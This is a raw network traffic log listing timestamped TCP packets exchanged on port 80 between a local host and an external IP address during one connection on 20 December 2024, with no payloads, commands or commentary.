Dec 20, 2024 11:12:12.161935091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.161982059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.162786961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.162853956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.162904978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.162952900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.163862944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.163918972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.163976908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.164957047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.165009022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.165062904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.166066885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.166120052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.166121006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.167128086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.167182922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.167247057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.167901039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.168215036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.168411016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.168459892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.169301987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.169411898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.169466019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.170387030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.170558929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.170614958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.171484947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.171606064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.171664953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.172580004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.172719002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.172771931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.173661947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.173751116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.173799038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.174681902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.174743891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.309783936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.309839010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.309911013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.310024023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.310067892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.310117960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.311296940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.311352015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.311389923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.311893940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.312036991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.312087059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.312124014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.312170982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.313100100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.313149929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.313174009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.313215017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.314215899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.314273119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.314553976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.314603090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.315275908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.315326929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.315471888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.315519094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.316384077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.316478968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.316550970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.317456961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.317585945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.317642927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.318531990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.318586111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.318650961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.319683075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.319739103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.319849968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.320758104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.320806980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.320854902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.320902109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.321813107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.321937084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.321983099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.322899103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.323040962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.323085070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.323982000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.324143887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.324193001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.325048923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.325103045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.325144053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.326145887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.326200008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.326266050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.327250957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.327303886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.327388048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.327449083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.328308105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.328442097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.328491926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.329401016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.329605103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.329657078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.330475092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.330528021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.330606937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.331597090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.331645012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.331734896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.331896067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.332679987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.332775116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.332823038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.333730936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.333914995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.333966017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.334989071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.335035086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.335100889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.335891008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.335918903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.335966110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.336036921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.336083889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.337027073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.337075949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.337140083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.337193012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.338085890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.338134050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.338231087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.338279963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.339168072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.339216948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.339297056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.339349031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.340316057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.340409994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.340459108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.341372967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.341504097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.341548920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.342499018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.342549086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.342597961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.343529940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.343580008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.343645096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.343898058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.344614983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.344743013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.344790936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.345721006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.346087933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.346137047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.346801996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.346848011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.346947908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.347803116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.347891092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.348045111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.348098040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.348984957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.349095106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.349145889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.350078106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.350132942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.350133896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.351128101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.351255894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.351330996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.351897955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.352226973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.352334023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.352387905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.353303909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.353439093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.353487015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.354413033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.354461908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.354540110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.355509043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.355581999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.355618000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.355669022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.356719971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.356801987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.356856108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.357659101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.357775927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.357826948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.358752012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.358803988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.358858109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.359833002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.359899044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.359980106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.360966921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.361020088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.361068964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.361118078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.362057924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.362171888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.362222910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.363121986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.363214016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.363266945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.364183903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.364301920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.364303112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.364428043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.365286112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.365343094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.365418911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.365470886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.366302967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.366385937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.501921892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.502018929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.502104044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.502479076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.502532959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.502583027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.503261089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.503333092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.503338099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.503910065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.504288912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.504337072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.504414082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.505358934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.505419970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.505500078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.506418943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.506479025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.506566048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.506617069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.507519007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.507659912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.507718086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.508604050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.508661032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.508711100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.509699106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.509752989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.509813070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.510757923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.510814905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.510883093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.511876106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.511914015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.511943102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.511998892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.512043953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.512924910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.512974024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.513053894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.513101101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.514029026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.514081001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.514144897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.514633894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.515120029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.515187025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.515235901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.515280962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.516200066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.516314983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.516365051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.517343044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.517657042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.517700911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.518404961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.518448114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.518511057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.519500971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.519550085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.519608974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.519824982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.520541906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.520704031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.520756006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.521631002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.521683931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.521733999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.522718906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.522770882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.522773027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.523864031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.523900986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.523900986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.524036884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.524912119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.524962902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.525024891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.526029110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.526106119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.526129961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.526180029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.527134895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.527292967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.527348995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.528172016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.528291941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.528338909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.529254913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.529305935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.529361010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.530390024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.530448914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.530508041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.531425953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.531475067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.531573057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.531624079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.532542944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.532613993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.532665014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.533607006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.533730984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.533780098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.534699917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.534750938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.535041094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.535893917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.535912037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.535939932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.535957098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.536007881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.536860943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.536911964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.536976099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.537028074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.537940025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.537988901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.538068056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.538116932 CET	49768	80	192.168.2.4	31.41.244.11
